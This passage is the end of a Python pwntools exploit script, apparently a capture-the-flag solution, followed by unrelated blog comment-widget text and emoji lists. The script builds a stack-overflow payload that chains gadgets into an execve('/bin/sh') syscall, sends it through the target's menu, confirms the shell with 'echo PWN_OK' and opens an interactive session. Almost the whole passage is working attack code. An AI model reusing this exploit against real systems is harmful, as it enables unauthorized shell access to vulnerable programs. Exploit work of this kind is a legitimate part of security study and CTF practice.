    r16 = binsh_addr
    r17 = 0
    r18 = 0
    r19 = EXECVE_SYSCALL

    db_content = b""
    db_content += p32(frame1_addr)     # frame0: new fp
    db_content += p32(G_LOAD_R16_R19)  # frame0: new lr

    db_content += p32(r18)             # sp+0  -> r18
    db_content += p32(r19)             # sp+4  -> r19
    db_content += p32(r16)             # sp+8  -> r16
    db_content += p32(r17)             # sp+12 -> r17

    db_content += p32(0)               # frame1: fp (unused)
    db_content += p32(G_HIDDEN)        # frame1: lr -> hidden syscall gadget

    db_content += b"\x00" * (0x40 - 0x30)
    db_content += b"/bin/sh\x00"

    stack_padding_len = OFFSET_TO_FP_LR - len(prefix) - len(db_content)
    if stack_padding_len < 0:
        raise ValueError("payload layout too large for overflow frame")
    stack_padding = b"A" * stack_padding_len

    overflow = p32(frame0_addr) + p32(G_DEALLOC_RET)
    payload = prefix + db_content + stack_padding + overflow

    log.info(f"frame0={hex(frame0_addr)} frame1={hex(frame1_addr)} /bin/sh={hex(binsh_addr)}")
    log.info(f"gadgets: dealloc={hex(G_DEALLOC_RET)} load={hex(G_LOAD_R16_R19)} hidden={hex(G_HIDDEN)}")
    log.info(f"payload length = {len(payload)}")

    return payload


def exploit():
    io = start()

    menu(io, b"1")
    submenu(io, b"1")
    io.recvuntil(b"<<")

    payload = build_payload()
    io.sendline(payload)

    # Quick local verification: if shell is up, this prints PWN_OK
    io.sendline(b"echo PWN_OK")
    try:
        out = io.recv(timeout=1.2)
        if b"PWN_OK" in out:
            log.success("local shell seems up")
        else:
            log.warn("payload sent, no PWN_OK observed yet")
    except EOFError:
        log.warn("target exited after payload")

    io.interactive()


if __name__ == "__main__":
    exploit()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇